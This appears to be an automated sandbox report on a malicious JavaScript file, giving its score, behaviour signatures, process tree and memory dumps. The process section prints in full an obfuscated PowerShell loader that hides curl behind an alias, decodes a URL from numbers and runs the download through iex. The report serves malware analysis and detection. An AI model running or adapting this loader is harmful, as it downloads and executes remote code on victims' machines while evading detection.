Analysis

  • max time kernel
    148s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/09/2026, 11:17

General

  • Target
    jaffacakes118_e58a3cd21e1b325f3b26dd0bdaa44095b495834c08497a78a23a112834f25aa8.js
  • Size 211KB
  • Sample260912-nd6dsaxyet
  • SHA256 e58a3cd21e1b325f3b26dd0bdaa44095b495834c08497a78a23a112834f25aa8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_e58a3cd21e1b325f3b26dd0bdaa44095b495834c08497a78a23a112834f25aa8.js
    1⤵
      PID:1956
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $munbkrei='ur' ;new-alias printout c$($munbkrei)l;$lxthbci=(1688,1700,1712,1711,1691,1709,1706,1704,1691,1707,1693,1688,1694,1688,1709,1636,1706,1701,1702,1637,1639,1636,1702,1694,1702,1653,1705,1651,1699,1695,1700,1706,1705,1640,1639);$abrzcvedkm=('bronx','get-cmdlet');$kspwrvtnoqyilm=$lxthbci;foreach($kfxnzqdcvigjm in $kspwrvtnoqyilm){$sadrnqiuvjhlbo=$kfxnzqdcvigjm;$dcypelknhr=$dcypelknhr+[char]($sadrnqiuvjhlbo-1590);$fljzwvti=$dcypelknhr; $wdjyutsre=$fljzwvti};$znjeywkv[2]=$wdjyutsre;$okymgrezxa='rl';$yjtoxmku=1;.$([char](9992-9887)+'e'+'x')(printout -useb $wdjyutsre)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $munbkrei='ur' ;new-alias printout c$($munbkrei)l;$lxthbci=(1688,1700,1712,1711,1691,1709,1706,1704,1691,1707,1693,1688,1694,1688,1709,1636,1706,1701,1702,1637,1639,1636,1702,1694,1702,1653,1705,1651,1699,1695,1700,1706,1705,1640,1639);$abrzcvedkm=('bronx','get-cmdlet');$kspwrvtnoqyilm=$lxthbci;foreach($kfxnzqdcvigjm in $kspwrvtnoqyilm){$sadrnqiuvjhlbo=$kfxnzqdcvigjm;$dcypelknhr=$dcypelknhr+[char]($sadrnqiuvjhlbo-1590);$fljzwvti=$dcypelknhr; $wdjyutsre=$fljzwvti};$znjeywkv[2]=$wdjyutsre;$okymgrezxa='rl';$yjtoxmku=1;.$([char](9992-9887)+'e'+'x')(printout -useb $wdjyutsre)
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4752

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          memory/4752-0-0x00007FFAEF64F000-0x00007FFAEF650000-memory.dmp

          memory/4752-3-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp

          memory/4752-4-0x000002B5693A0000-0x000002B5693C2000-memory.dmp

          memory/4752-5-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp

          memory/4752-6-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp

          memory/4752-7-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp

          memory/4752-8-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp

          memory/4752-9-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp

          memory/4752-10-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp

          memory/4752-11-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp

          memory/4752-12-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp

          memory/4752-13-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp

          memory/4752-15-0x00007FFAEF4C0000-0x00007FFAEFE64000-memory.dmp